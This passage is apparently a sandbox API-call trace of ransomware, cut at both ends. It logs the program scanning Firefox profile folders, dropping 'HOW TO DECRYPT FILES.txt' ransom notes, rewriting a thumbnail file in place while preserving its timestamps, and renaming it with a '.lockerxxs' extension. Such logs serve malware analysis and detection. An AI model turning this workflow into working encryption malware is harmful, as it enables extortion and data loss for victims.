HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" [0086.292] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="" [0086.292] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" [0086.292] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt")) returned 0x2020 [0086.292] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="test-phish-simple.pset" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset" [0086.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset", pszSpec="*.ems") returned 0 [0086.293] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82649ab0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82649ab0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x5c0074, dwReserved1=0x610073, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 1 [0086.293] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.293] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="test-phish-simple.sbstore") returned -1 [0086.293] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="test-phish-simple.sbstore") returned -1 [0086.293] lstrcmpiA (lpString1="", lpString2="test-phish-simple.sbstore") returned -1 [0086.293] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset") returned="test-phish-simple.pset" [0086.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" [0086.293] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="" [0086.293] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" [0086.293] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt")) returned 0x2020 [0086.293] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="test-phish-simple.sbstore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore" [0086.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore", pszSpec="*.ems") returned 0 [0086.293] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82649ab0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82649ab0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x5c0074, dwReserved1=0x610073, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 0 [0086.294] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.294] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1 [0086.294] lstrcmpA (lpString1=".", lpString2="startupCache") returned -1 [0086.294] lstrcmpA (lpString1="..", lpString2="startupCache") returned -1 [0086.294] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*") returned="*.*" [0086.294] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="startupCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache" [0086.294] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x610073, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.296] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.296] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x610000, cFileName="..", cAlternateFileName="")) returned 1 [0086.296] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.296] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.296] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x854b47b0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe59f6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="startupCache.4.little", cAlternateFileName="STARTU~1.LIT")) returned 1 [0086.296] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.296] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="startupCache.4.little") returned -1 [0086.297] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="startupCache.4.little") returned -1 [0086.297] lstrcmpiA (lpString1="", lpString2="startupCache.4.little") returned -1 [0086.297] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*") returned="*.*" [0086.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\" [0086.297] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\") returned="" [0086.297] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\HOW TO DECRYPT FILES.txt" [0086.297] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\how to decrypt files.txt")) returned 0xffffffff [0086.297] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.300] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.300] CloseHandle (hObject=0xa0) returned 1 [0086.300] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\", lpString2="startupCache.4.little" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little" [0086.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little", pszSpec="*.ems") returned 0 [0086.300] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x854b47b0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe59f6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="startupCache.4.little", cAlternateFileName="STARTU~1.LIT")) returned 0 [0086.300] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.300] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0086.300] lstrcmpA (lpString1=".", lpString2="thumbnails") returned -1 [0086.300] lstrcmpA (lpString1="..", lpString2="thumbnails") returned -1 [0086.300] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*") returned="*.*" [0086.301] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="thumbnails" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails" [0086.301] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.304] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.304] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.304] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.304] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.304] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83cc0a50, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83cc0a50, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4cc87c1409819bf06f42b782d4902b2f.png", cAlternateFileName="4CC87C~1.PNG")) returned 1 [0086.304] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.304] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4cc87c1409819bf06f42b782d4902b2f.png") returned 1 [0086.304] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4cc87c1409819bf06f42b782d4902b2f.png") returned 1 [0086.304] lstrcmpiA (lpString1="", lpString2="4cc87c1409819bf06f42b782d4902b2f.png") returned -1 [0086.304] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*") returned="*.*" [0086.305] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" [0086.305] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\") returned="" [0086.305] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" [0086.305] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\how to decrypt files.txt")) returned 0xffffffff [0086.305] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.307] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.308] CloseHandle (hObject=0xa0) returned 1 [0086.308] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\", lpString2="4cc87c1409819bf06f42b782d4902b2f.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" [0086.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", pszSpec="*.ems") returned 0 [0086.308] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" [0086.308] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" [0086.308] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png." [0086.308] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.lockerxxs" [0086.308] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.310] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x40b0 [0086.310] GetFileTime (in: hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x83cc0a50, dwHighDateTime=0x1d2e627), lpLastAccessTime=0x407536*(dwLowDateTime=0x83cc0a50, dwHighDateTime=0x1d2e627), lpLastWriteTime=0x40753e*(dwLowDateTime=0x83ce6bb0, dwHighDateTime=0x1d2e627)) returned 1 [0086.310] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.310] ReadFile (in: hFile=0xa0, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x408a, lpOverlapped=0x0) returned 1 [0086.315] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned="4cc87c1409819bf06f42b782d4902b2f.png" [0086.315] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.315] WriteFile (in: hFile=0xa0, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x408a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x408a, lpOverlapped=0x0) returned 1 [0086.316] SetFileTime (hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.316] CloseHandle (hObject=0xa0) returned 1 [0086.316] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 